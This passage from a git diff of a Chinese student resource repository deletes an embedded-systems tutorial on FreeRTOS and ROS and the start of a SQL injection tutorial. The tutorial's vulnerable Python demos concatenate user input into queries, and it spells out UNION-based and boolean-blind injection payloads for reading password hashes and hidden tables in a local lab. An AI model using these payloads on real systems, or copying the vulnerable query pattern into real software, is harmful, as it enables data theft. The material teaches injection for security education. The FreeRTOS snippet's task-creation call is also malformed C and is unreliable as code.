开发工程师或者 cubemx 工程师对吧【然鹅大多数急于求成的开发者往往忽视了这方面的能力,也许是为了更快入手竞赛】) - -而在此栏目中,我们将讲述相关操作系统在嵌入式上的应用,让你的嵌入式产品更加的智慧!(当然裸机并不一定就比带操作系统的嵌入式产品差,只是应用方向不同或者说有时候需要考虑产品的成本问题) - -Ps:本栏目只例举几个目前开发工程中常见的操作系统的学习与开发,**具体的移植过程可 web 或者自行探索 - 相信我,出色的移植能力是嵌入式开发者必不可少的。** - -## RTOS - -MCU 本身就能做到一定的实时性,那为什么还是需要 RTOS(实时操作系统)呢,**其实评判实时系统的关键并不是系统对外部事件的处理速度,而是处理事件的时间的可预见性和确定性。**举个例子,Windows 操作系统在 CPU 没有其他任务时可以在很短的时间内对外部事件作出一定的响应,但是当某些后台任务在运行时,有时候响应速度会变得很慢甚至出现假死现象,这并不是因为 Windows 速度不够快或者效率不够高导致的,而是因为 Windows 对事件的响应不能提供准确性,所以其不能算作一个实时操作系统。**并且在笔者看来,实时操作系统除了可以达到完成每次任务所需时间的一致性外,其相应的操作系统产品(例如我们本栏目将重点介绍的 FreeRTOS,这里可以简单提一下为啥要选 FreeRTOS,显而易见因为-Free)还具有可以简化整体架构、开发等工作的作用。** - -RTOS 中最重要的概念则是“任务”。 - -我们可以回想一下在 MCU 开发过程中,一般都是在 main 函数里做个 while(1)来完成大部分的处理,将一些相对来说对实时性要求高的函数(如 PID 控制器)扔到定时器中断当中,即应用程序是个无限的循环,是个单任务系统(前后台系统),while(1)作为后台,中断服务函数作为前台。这里采用了“正点原子”的一张图: - -![](https://cdn.xyxsw.site/boxcnFySF1Cd02I052V0a9glH1c.png) - -而 RTOS 则是一个多任务系统,那么它这么做有什么好处呢? - -2>1 嘛(乐),实际上在前后台系统中,你的每项 Task 要轮流排队等着上次 Task 执行结束后再进行自己的程序,大大影响了其系统的实时性要求;而 RTOS 中我们把整个 while(1)区分成了很多小任务,并且在表面上看起来这些任务运行起来像是同时进行,实际上是因为任务所需的时间较少导致它看起来像是并行,但这将会带来新的疑问,到底什么任务先执行呢?RTOS 就为此提供了任务的相关 API 接口,赋予任务相应的执行优先级属性,并通过任务调度器来控制任务的执行顺序。这里同样采用了“正点原子”的一张图: - -![](https://cdn.xyxsw.site/boxcntQgR61yRboDpyb1bpI10Xp.png) - -所以,**其实可以这么说:RTOS 将整个流程变成了很多个 while(1)【每个任务都是个 while(1)】。** - -并且根据我上述所描述的内容,一个任务需要的属性大致如下(以启动函数为例进行介绍): - -```c -#define START_TASK_PRIO 1 //任务优先级 -#define START_STK_SIZE 256 //任务堆栈大小 -TaskHandle_t StartTask_Handler; //任务句柄 -void start_task(void *pvParameters); //任务函数 - -int main(){ - systemInit();//硬件初始化 - xTaskCreate( - TaskFunction_t start_task, //任务函数 - const char * const "start_task", //任务名称 - const uint16_t START_STK_SIZE, //任务堆栈大小 - void * const NULL, //传递给任务函数的参数 - UBaseType_t START_TASK_PRIO, //任务优先级 - TaskHandle_t * const StartTask_Handler //任务句柄 - ) -} -``` - -至于有关于任务的运行态、挂起态、就绪态、阻塞态等我便不在此栏目进行讲解,希望读者能根据以上的引入去学习 FreeRTOS 的开发,可供参考的文档或者学习视频如下: - -1、b 站正点原子官方 FreeRTOS 教学(在今年有做全面的更新,比之前讲的更为清晰,难得的优秀入门视频) - - - -2、FreeRTOS 官网(官网往往是最适合学习的地方)[www.freertos.org](http://www.freertos.org) - -## Linux(以 ROS 为例) - -首先,如果你不了解 Linux 系统的话,我建议你去 [附加模块:Linux](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.Y%20%E9%99%84%E5%8A%A0%E6%A8%A1%E5%9D%97%EF%BC%9ALinux.md) 中进行一定的学习。 - -如果你不了解 Python,我建议你去以及 [3.6Python(灵巧的胶水)](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.6Python%EF%BC%88%E7%81%B5%E5%B7%A7%E7%9A%84%E8%83%B6%E6%B0%B4%EF%BC%89.md)中进行学习。 - -如果你已经对以上所涉及到的方面有了一定的了解,那么欢迎来到机器人开发者的殿堂-Robot Operating System! - -由于硬件技术的飞速发展,针对于机器人软件设计的框架也面临着极大的挑战,而 ROS 的出现无异是所有机器人开发者的福音,因为如果按照以前的制作一个机器人流程来讲,也许你要经历以下步骤:硬件结构搭建、控制处理、相关算法构建等等,但是 ROS 的开源共享模式令其可以在其平台上巧妙利用别人的开源模型完成自己的机器人搭建,**也就是说 Ros 的出现打破了原本各个开发者(或团队)闭门造车的开发现象,使得其可以共享优秀的机器人应用软件,换句话说就是提高了机器人研发的软件复用率。(毕竟哪个团队都不可能同时在建图、导航、视觉等机器人应用方面处于顶尖位置)** - -![](https://cdn.xyxsw.site/boxcnRy7E27xggqNshXX3cu4J5Q.png) - -由于 ROS 中完成度最高的是 Ubuntu,所以我们建议你以此展开学习,当然你也可以选择 macOS、Debian 等 OS。 - -但是 Linux 只是一个通用系统,并没有在机器人开发上提供相应的中间件,所以 ROS 提供了基于 TCP/UDP 的通信接口(机器人的工作当然需要通讯),在再此之上提供了相应的基础开发库供给至应用层。 - -此时应用层则有个很重要的概念-Master(管理者),其负责管理整个系统的正常运行。如果我们需要获得比较成熟的相关领域开源机器人包,按以往的操作必将是进行一次比较复杂的移植(你需要考虑各种因素:比如硬件支持、与其他移植包是否冲突等等)。**但是在 ROS 系统中引入了功能包的概念,你可以在 ROS 社区中下载相关版本(与你的 ROS 版本相匹配)的机器人应用功能包,完成一次非常简单的移植过程(CV),你不需要关注其内部的具体运行机制,只需关注接口的定义与使用规则便可进行相应的二次开发(在 ROS 中你需要关注的是相关节点之间的关系,可以通过 rqt_graph 获取清晰的节点图),相当于给你做好了一个跟机器人开发有关的高集成度****SDK****平台。**(当然如果你感兴趣的话可以做一定的了解,但这将牵扯到相关内容的庞大体系,比如如果你想了解自主导航是如何运行的,你首先需要了解 SLAM 算法的运行机制以及激光雷达或者相关深度摄像机的运用,然后你需要了解什么是深度信息什么是里程计信息,为什么可以表示机器人的位置信息,要如何进行一些相关的位置信息修正,然后 bulabula。**以笔者自身的学习经历而言,学习相关的理论基础体系,将对你的二次开发有极大的帮助,而不会造成盲目使用接口的情况**) - -根据以上我讲述的相关内容可知:**ROS 系统的优点在于,你能将社区里的有关机器人的开发模块集大成于一身,并且通过 ROS 与控制板通讯(此时类似于 STM32 的裸机主控便变成了控制板 - 用于接收 ROS 的调控完成相应电机、舵机的控制,或者完成一定的例如 oled 显示的简单任务),从而完成 ROS 系统内部开源算法对整个机器人的控制。** - -以下我简单介绍一下 ROS 的基础通讯方式: - -在裸机开发中,我们的通讯(不论是蓝牙、WiFi 还是最基础的串口通讯)本质上都来自于串口中断,也就是说裸机开发引入了 ISR 来处理相应的数据接收。ROS 通讯中同样需要这样的函数来完成对目标数据的处理,而在 ROS 中我们称之为回调函数。 - -我们以话题通讯机制来做简要介绍,在此通讯中需要有两个节点,一个 Publisher(发布者)以及一个 Listener(订阅者),他们将发布和订阅同一个来完成相应的通讯 - 将发布和订阅的内容交给 ROS Master(整体流程类似于 WiFi 中的 mqtt 协议通信,将发布和订阅的内容交给公共服务器,形成一个转接的效果)。 - -所以通过这样的一个流程,具体的代码如下(以 C++ 为例): - -```cpp -//Publisher -int main(int argc, char **argv) -{ - //首先我们要初始化节点 - ros::init(argc, argv, "talker"); - //其次,为了对这个类更好地进行处理,我们需要创建节点句柄 - ros::NodeHandle n; - //创建一个 Publisher=> pub,发布名为 chat 的 topic,消息类型为 std_msgs::String - ros::Publisher pub = n.advertise("chat", 1000); - //设置循环的频率,对应着 sleep 延时 - ros::Rate loop_rate(10); - - while (ros::ok()) - { - // 初始化 std_msgs::String 类型的消息 - std_msgs::String msg; - - /* - 对数据的处理 - */ - - // 发布消息 - ROS_INFO("%s", msg.data.c_str()); - pub.publish(msg); - // 循环等待回调函数 - ros::spinOnce(); - // 按照循环频率延时 - loop_rate.sleep(); - } - return 0; -} -``` - -```cpp -//Listener -int main(int argc, char **argv) -{ - //节点与节点句柄是必不可缺的 - ros::init(argc, argv, "listener"); - ros::NodeHandle n; - // 创建一个 Subscriber,订阅名为 chatter 的 topic,注册回调函数 chatCallback - ros::Subscriber sub = n.subscribe("chat", 1000, chatCallback); - // 循环等待回调函数 - ros::spin(); - return 0; -} -``` - -而其中,在 Listener 中出现了回调函数,其功能类似于裸机中的中断控制 - 当接收到对应的订阅消息后,进行对应的数据、逻辑处理,例如如果我只是想把接收到的数据打印出来的话,我可以这么写回调函数 chatCallback: - -```cpp -void chatterCallback(const std_msgs::String::ConstPtr& msg) -{ - ROS_INFO("I heard: [%s]", msg->data.c_str()); -} -``` - -至于 ROS 其他的内容便不在这里阐述,ROS 是机器人开发者的福音,此模块是希望有更多地人能注意到这样的良心开源平台,并督促各位进行相关的知识学习,可供参考的文档或者学习视频如下: - -1、b 站古月居 ROS21 讲(讲的比较浅,但是可以作为入门学习视频,了解整个框架,感兴趣地可以看胡老师的 ROS2 系列视频,毕竟 ROS1 近期已经停更了,要保持不断学习的姿态) - - - -**提一嘴:很多人学 ROS 就学一个开头 - 比如就学了古月居的 21 讲,就认为自己已经了解到了 ROS 的大部分内容了****(不会有人现在还是纯看视频学习吧)****,实际上这是非常错误的想法。当你学完了视频的内容后,你甚至可能不会移植 wiki 上的功能包(x_x),甚至不知道如何去开发一个真实的机器人(因为此 21 讲只是理论上的讲解,去做一个虚拟机器人在 gazebo 上运行)。ROS 的学习上需要我们花大量的心思去学会接触新的东西,你们并不能只局限于我提供的推荐学习资料,因为相应的功能包不是一成不变的,而且也不是只有那么几个功能包,当你感受了 ROS 的自主建图、自主导航、机械臂控制、机器学习开发等等等等等等后,你才会发现 ROS 的世界是如此美妙!** - -2、b 站赵虚左 ROS 课程(讲得细致多了,需要耐心看下去,要是我入门 ROS 的时候有这个视频就好了) - - - -3、古月居的《ROS 机器人开发实践》(根据国外的《ROS By Example》改编,但是更贴近于入门开发,会有相关功能包更细致的解析) - -4、[http://wiki.ros.org/cn](http://wiki.ros.org/cn)(不会用 ROSwiki 的 ROS 玩家不是好 ROS 玩家) - -如果未来有能力的话,希望我们能反哺 ROS 社区,促进开源社区的发展。 - -## 其他常见嵌入式操作系统(入门仅作了解) - -相对于通用计算机操作系统而言,嵌入式操作系统除有任务调度、同步机制、内存管理、中断处理、文件处理等基本功能外更有其强大的实时性、强稳定性、硬件适应性等等。与通用计算机不同,嵌入式操作系统行业是一个百家争鸣的环境,没有一款产品能够占据绝对统治地位,但是也有很多应用面较广、有突出特色的嵌入式操作系统享有较高的知名度。 - -1、微软的嵌入式 Windows 操作系统(从个人计算机到嵌入式系统的更变) - -此嵌入式操作系统的初衷就是“使当今的个人计算机复杂的软件环境扩展到嵌入式世界”,也就是说希望能在嵌入式产品上用到 windows 系统的桌面软件。主流上 EOS 分为两个:Windows Embedded Compact(WEC)系列和 Windows Embedded(WE)系列。常见用于手持设备、机顶盒、数码娱乐设备等等。 - -2、VxWorks(集多种处理器大成的操作系统) - -VxWorks 是硬实时操作系统,比 FreeRTOS 这类软实时操作系统有更强的实时性,更加专注于人的交互性、可靠性,用于军事、航空、控制等领域。并且 VxWorks 支持 PowerPC、CPU32、x86 等多种嵌入式处理器体系,所以有较好的可裁剪性、兼容性。 diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式.md b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式.md deleted file mode 100644 index 8607f45..0000000 --- a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式.md +++ /dev/null @@ -1,21 +0,0 @@ -# 5.富有生命的嵌入式 - -> Author:肖扬 - -孵化器实验室 2023 招新群 (QQ): 879805955 - -预热 OJ 平台:[OJ 平台 (C 语言为主)](http://hdufhq.cn/) - -> 实验室不仅有嵌入式方向,还有硬件、网络 web 开发方向! - -在本模块,我们将为你讲述何为嵌入式、如何学嵌入式、如何爱上嵌入式 - -同时我们希望你知道,大学本就不止枯燥的学业 - -它会是一两醉人的花酒,亦可能会是一张泛黄的纸,一场绝美的梦 - -> “点星星之火,燃燎原之势,热血芳华,理想当燃” - -![](https://cdn.xyxsw.site/boxcn3t2GyLQqe4RpGdRtakcwBc.png) - -ps:若对此部分讲义有相关疑问或者建议,欢迎 QQ 联系 -1213047454 diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png deleted file mode 100644 index b8d1d41..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/HTFUbsQCNouQVzx0QYiciQWOnZf.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/HTFUbsQCNouQVzx0QYiciQWOnZf.png deleted file mode 100644 index b25a486..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/HTFUbsQCNouQVzx0QYiciQWOnZf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png deleted file mode 100644 index 8ea7b21..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png deleted file mode 100644 index 45f6cca..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn3t2GyLQqe4RpGdRtakcwBc.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn3t2GyLQqe4RpGdRtakcwBc.png deleted file mode 100644 index a9c2adc..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn3t2GyLQqe4RpGdRtakcwBc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn99MPmacSrXPkIgQ13FLABc.jpg b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn99MPmacSrXPkIgQ13FLABc.jpg deleted file mode 100644 index 741b485..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn99MPmacSrXPkIgQ13FLABc.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnFySF1Cd02I052V0a9glH1c.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnFySF1Cd02I052V0a9glH1c.png deleted file mode 100644 index 5c61eea..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnFySF1Cd02I052V0a9glH1c.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnRy7E27xggqNshXX3cu4J5Q.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnRy7E27xggqNshXX3cu4J5Q.png deleted file mode 100644 index 7380d78..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnRy7E27xggqNshXX3cu4J5Q.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcntQgR61yRboDpyb1bpI10Xp.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcntQgR61yRboDpyb1bpI10Xp.png deleted file mode 100644 index f2fc84e..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcntQgR61yRboDpyb1bpI10Xp.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcny07MPlh99IIS5yxAdL4iDb.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcny07MPlh99IIS5yxAdL4iDb.png deleted file mode 100644 index 4759dec..0000000 Binary files a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcny07MPlh99IIS5yxAdL4iDb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入.md deleted file mode 100644 index ef00655..0000000 --- a/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入.md +++ /dev/null @@ -1,938 +0,0 @@ -# SQL 注入 - -Author: `Liki4` from Vidar-Team - -Vidar-Team 2023 招新 QQ 群:861507440(仅向校内开放) - -Vidar-Team 官网:[https://vidar.club/](https://vidar.club/) - -Vidar-Team 招新报名表:[https://reg.vidar.club/](https://reg.vidar.club/) - -本文中所有涉及的代码全部都托管在 [https://github.com/Liki4/SQLi](https://github.com/Liki4/SQLi) - -## 前言 - -在当代优秀年轻程序员设计与编写 Web 应用的时候,或多或少会使用到一种叫数据库的东西,如字面意义,这种东西通常用来储存数据,例如用户的个人信息,账户名称和密码等。 - -当然这些东西即便用记事本也可以储存,只需要将数据输出到一个文本文件里,事后需要使用的时候再搜索即可。但当数据量逐渐庞大,又对数据的增删改查有所需求的时候,记事本就显得有些心有余而力不足了。 - -于是数据库诞生了,随之诞生了一种名为 SQL 的语言,用以对数据库进行增删改查和更多其他的操作。使用 SQL 语句,可以方便地从数据库中查询出想要的数据,可以方便地找出不同类型数据之间的联系并对他们进行一定的操作。例如当今天你没有做核酸的时候,某些系统就会找出你的个人信息,并对你的健康码进行一个改天换色,同时也将对你的出行码等信息造成影响,这其中所有的过程都离不开 SQL 语句的辛勤付出,因此对其进行研究是非常必要的 :-p - -有关 SQL 语句的基本知识,可以参考 [SQL Tutorial](https://www.w3schools.com/sql/) - -## 简介 - -在旧时代诞生的 Web 应用,不少都直接使用了原始 SQL 语句拼接的方式来完成查询,举个例子 - -```python -def check_pass(username, password): - hash = conn.exec(f"SELECT password FROM users WHERE username = '{username}'") - return (sha256(password) == hash) -``` - -这是一个普通 Web 应用里常见的密码校验函数,的伪代码 - -从 `users` 表中查出 `username` 对应的 `password` 的哈希值,将其与用户传入的密码哈希值进行比对,若相等则意味着用户传入的密码与数据库中储存的密码相吻合,于是返回准许登录 - -![](https://cdn.xyxsw.site/boxcnHiNBWN86AR4AvSSsUVwSWb.png) - -那么问题来了,在语句 - -```sql -SELECT password FROM users WHERE username = '{username}' -``` - -之中,如果参数 `username` 未经过校验,直接使用用户传入的原生字符串,会不会出现什么问题呢? - -这就是本篇 SQL 注入要讨论的问题 - -## SQL 注入中的信息搜集 - -### 信息的获取 - -```python -1. version() 数据库版本 -2. user() 数据库用户名 -3. database() 数据库名 -4. @@datadir 数据库路径 -5. @@version_compile_os 操作系统版本 -``` - -### 字符串拼接 - -1. `concat(str1,str2,…)` 能够将你查询的字段连接在一起 -2. `concat_ws(separator,str1,str2,)` 能够自定义分隔符来将你查询的字段链接在一起 -3. `group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator])` - -一般来说这个函数是配合 `group by` 子句来使用的,但是在 SQL 注入中,我们用他来输出查询出来的所有数据 - -```python -mysql> select id, username, password from users; -+----+----------+------------+ -| id | username | password | -+----+----------+------------+ -| 1 | Dumb | Dumb | -| 2 | Angelina | I-kill-you | -| 3 | Dummy | p@ssword | -| 4 | secure | crappy | -| 5 | stupid | stupidity | -| 6 | superman | genious | -| 7 | batman | mob!le | -| 8 | admin | admin | -| 9 | admin1 | admin1 | -| 10 | admin2 | admin2 | -| 11 | admin3 | admin3 | -| 12 | dhakkan | dumbo | -| 14 | admin4 | admin4 | -+----+----------+------------+ -13 rows in set (0.01 sec) - -mysql> select concat(id,username,password) from users; -+------------------------------+ -| concat(id,username,password) | -+------------------------------+ -| 1DumbDumb | -| 2AngelinaI-kill-you | -| 3Dummyp@ssword | -| 4securecrappy | -| 5stupidstupidity | -| 6supermangenious | -| 7batmanmob!le | -| 8adminadmin | -| 9admin1admin1 | -| 10admin2admin2 | -| 11admin3admin3 | -| 12dhakkandumbo | -| 14admin4admin4 | -+------------------------------+ -13 rows in set (0.01 sec) - -mysql> select concat(id,username,password) from users; -+------------------------------+ -| concat(id,username,password) | -+------------------------------+ -| 1DumbDumb | -| 2AngelinaI-kill-you | -| 3Dummyp@ssword | -| 4securecrappy | -| 5stupidstupidity | -| 6supermangenious | -| 7batmanmob!le | -| 8adminadmin | -| 9admin1admin1 | -| 10admin2admin2 | -| 11admin3admin3 | -| 12dhakkandumbo | -| 14admin4admin4 | -+------------------------------+ -13 rows in set (0.01 sec) - -mysql> select group_concat(id,username separator '_') from users; -+--------------------------------------------------------------------------------------------------------------+ -| group_concat(id,username separator '_') | -+--------------------------------------------------------------------------------------------------------------+ -| 1Dumb_2Angelina_3Dummy_4secure_5stupid_6superman_7batman_8admin_9admin1_10admin2_11admin3_12dhakkan_14admin4 | -+--------------------------------------------------------------------------------------------------------------+ -1 row in set (0.00 sec) -``` - -## 前置知识 - -接着上一节的节奏走,如果我们传入的 `username` 参数中有单引号会发生什么呢 - -> 以下所举的例子都在 MySQL 5.x 版本完成 - -现在我们传入 `Liki4'` 这个字符串 - -![](https://cdn.xyxsw.site/boxcn8TrpE02fnPV7dFzkmnHiAe.png) - -很遗憾,报错了,这个查询因为 SQL 语句存在语法错误而无法完成。 - -那么问题来了,怎么让他不报错的情况下完成查询呢? - -在 MySQL 语句中,`#` 和 `--` 代表行间注释,与 C 语言的 `//` 和 Python 中的 `#` 是同样的意思。也就是说,一个 MySQL 语句中如果存在 `#` 和 `--`,那么这一行其后的所有字符都将视为注释,不予执行。 - -那如果我们传入 `Liki4';#` 这个字符串,那么在拼接后的查询又是什么结果呢 - -![](https://cdn.xyxsw.site/boxcnbAKreqEeZxOYQuQMtZbd9d.png) - -很显然,`#` 号将原本语句的 `';` 注释掉了 - -而我们传入的字符串构成了全新的语法正确的语句,并完成了一次查询! - -那我们是否可以查询一些...不属于我们自己的信息呢?答案是可以的。 - -例如我们传入一个精心构造的字符串 - -`raw_sql_danger' UNION SELECT password FROM users WHERE username = 'Liki5';#` - -![](https://cdn.xyxsw.site/boxcniDohuM3F8FbMqz7YSC0Y5g.png) - -**真是惊人的壮举!我完全不认识这个叫 Liki5 的家伙,但我居然知道了他的密码对应的哈希值!** - -那么到这里 SQL 注入你就已经完全学会了,接下来做一些小练习吧。 - -请挖掘 Django ORM 最新版本的注入漏洞并与我分享,我会请你喝一杯奶茶作为谢礼。 - -## SQL 注入入门 - -接下来的举例几乎都不会以 Web 的形式出现,虽然你去看别的文档都是起个 Web 应用,但我懒 - -反正都是一样的东西,是否以 Web 应用的形式没差,请不要来杠 - -### SQL 注入的常见类型 - -SQL 注入的常见类型分为以下几种,在后面的章节里会慢慢地讲述不同类型的区别和攻击手法 - -按照攻击手法来分类可以分为以下几种 - -1. 有回显的 SQL 注入 -2. 无回显的 SQL 盲注 -3. 布尔盲注 -4. 时间盲注 -5. 基于报错的 SQL 注入 -6. 堆叠注入 -7. 二次注入 - -按照注入点来分类可以分为以下几种 - -1. 字符型注入 -2. 数字型注入 - -注入点的分类只在于语句构造时微小的区别,因此不作详细的说明 - -当然,不同的数据库后端因为其不同的内置函数等差异,有着不同的攻击手法,但都大同小异。 - -常见的数据库有下列几个 - -1. MySQL -2. MSSQL -3. OracleDB -4. SQLite - -当然还有一些新兴的前沿科技数据库 - -1. ClickHouse -2. PostgreSQL - -还有一些和传统数据库设计理念不一样的 noSQL 数据库 - -1. MongoDB -2. AmazonRD -3. ... - -后续的章节里,会采用入门时最常见的 MySQL 数据库来举例,环境可以用 Docker 简单地创建一个 - -```yaml -# docker-compose.yml -# docker-compose up -d --build - -version: "3.8" -services: - db: - image: mysql:5.7 - container_name: "mysql5-docker" - command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --sql-mode='' - ports: - - "3305:3306" - environment: - - MYSQL_ROOT_PASSWORD=TjsDgwGPz5ANbJUU - healthcheck: - test: ["CMD", "mysqladmin" ,"ping", "-h", "localhost"] - interval: 2s - timeout: 5s - retries: 30 -``` - -### 有回显的 SQL 注入 - -我这里写了一个小 demo 来进行展示,demo 代码如下,为了好看我用 prettytable 格式化了输出 - -```python -#!/usr/bin/python -# -*- coding: UTF-8 -*- - -from sqlalchemy import create_engine -from prettytable import from_db_cursor - -engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5) - -def query(username): - with engine.connect() as con: - cur = con.execute(f"SELECT * FROM users WHERE username = '{username}'").cursor - x = from_db_cursor(cur) - return(x) # 返回查询的结果 - -def main(): - username = input("Give me your username: ") - print(query(username)) - -if __name__ == "__main__": - main() -``` - -接下来我们进行一次常规查询 - -![](https://cdn.xyxsw.site/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png) - -可以看到我们成功从数据库中查出了 `username` 和 `password`,并显示在返回中 - -现在我们构造一些恶意语句,比如 `123' UNION SELECT 1, 2;#` - -现在我们将执行的语句打印出来看看,对代码进行一些小改动 - -```bash -... -def query(username): - with engine.connect() as con: - query_exec = f"SELECT * FROM users WHERE username = '{username}'" - print(query_exec) - cur = con.execute(query_exec).cursor - x = from_db_cursor(cur) - return(x) -... -``` - -![](https://cdn.xyxsw.site/boxcnbaW15gnJc1O9Iv9WXqJxPc.png) - -可以看到,实际执行的语句为 - -```sql -SELECT * FROM users WHERE username = '123' UNION SELECT 1, 2;#' -``` - -也就是说,在这个 demo 中,从数据库查询的内容会直接返回给用户,用户可以直接看到查询的内容 - -那我们是否可以进行一些其他的查询呢 - -构造语句 `123' UNION SELECT DATABASE(), @@version;#` - -![](https://cdn.xyxsw.site/boxcnDeDp5yPE7W4KX9ByBl9ovh.png) - -我们就能看到返回中包含了当前数据库名与当前数据库版本 - -如果数据库中除了 `users` 表还有其他的东西,我们是否能通过这个注入来获取呢... - -构造语句 `123' UNION SELECT table_name, column_name FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE();#` - -> `information_schema` 库是一个 MySQL 内置数据库,储存了数据库中的一些基本信息,比如数据库名,表名,列名等一系列关键数据,SQL 注入中可以查询该库来获取数据库中的敏感信息。 - -![](https://cdn.xyxsw.site/boxcnkwvSnhKBhlHNLOSthgul9d.png) - -我们可以发现,当前数据库中还存在一张叫 `secret` 的表,让我们偷看一下里面存的是什么 - -构造语句 `123' UNION SELECT 1, secret_string FROM secret;#` - -![](https://cdn.xyxsw.site/boxcn3kfhJ79ByNML2Z1Q1MwRye.png) - -好像得到了什么不得了的秘密 :-) - -### 无回显的 SQL 盲注 - -#### 布尔盲注 - -我们对有回显的 SQL 注入的 demo 进行一点修改,代码如下 - -```python -#!/usr/bin/python -# -*- coding: UTF-8 -*- - -from sqlalchemy import create_engine -from hashlib import sha256 - -engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5) - -def query(username, password): - with engine.connect() as con: - query_exec = f"SELECT password FROM users WHERE username = '{username}'" - print(query_exec) - if con.execute(query_exec).scalar(): - passhash = con.execute(query_exec).fetchone()[0] - return passhash == sha256(password.encode()).hexdigest() - return False - -def main(): - username = input("Give me your username: ") - password = input("Give me your password: ") - print("Login success" if query(username, password) else "Login failed") - # 不再显示查询结果,而返回 success 或 failed - -if __name__ == "__main__": - main() -``` - -这样一来我们就只能知道自己是否登录成功,并不能看到查询返回的结果了 - -![](https://cdn.xyxsw.site/boxcn2seUNESHkLC9PYvDp0vFbe.png) - -那也就是说,我们无法直观地查看数据库中的数据了,即便查出了不该查的也看不到了 :-( - -那有没有什么办法击破这个限制呢?是时候该本章的主角,布尔盲注出场了 - -观察程序的逻辑,如果查询特定用户的密码与用户的输入匹配,则登陆成功,否则登陆失败 - -我们是否能控制语句是否将对应用户的密码查询出来呢? - -在 MySQL 中有一种格式为 `if(expression, if_true, if_false)` 的分支语句 - -类比 Python 则可以写成 - -```python -if (expression): - if_true -else: - if_false -``` - -如果我们可以通过 `if` 语句来控制整个 SQL 语句是否查询成功,不就可以获取一些信息了吗? - -当 if 语句为真时才将对应用户的密码查询出来,这样一来就能够通过用户验证,结果即为登陆成功 - -当 if 语句为假时则不将对应用户的密码查询出来,程序无从比对,也就无法通过用户验证了 - -有点抽象?没关系继续往下看。 - -构造语句 `Liki4' and if(@@version rlike '^5',1,0);#` - -> rlike 是 MySQL 中的一个关键字,是 regex 和 like 的结合体 - -![](https://cdn.xyxsw.site/boxcnJEeAKow3ZhUSvbL4FQXxOh.png) - -这里实际执行的语句就变成了 - -```sql -SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^5',1,0); -``` - -![](https://cdn.xyxsw.site/boxcnJ3jImTQcMUOWJclTACj74e.png) - -```sql -SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^8',1,0); -``` - -![](https://cdn.xyxsw.site/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png) - -也就是说,当 if 语句中的条件为真时,这个查询才会将 password 查询出来 - -如果 if 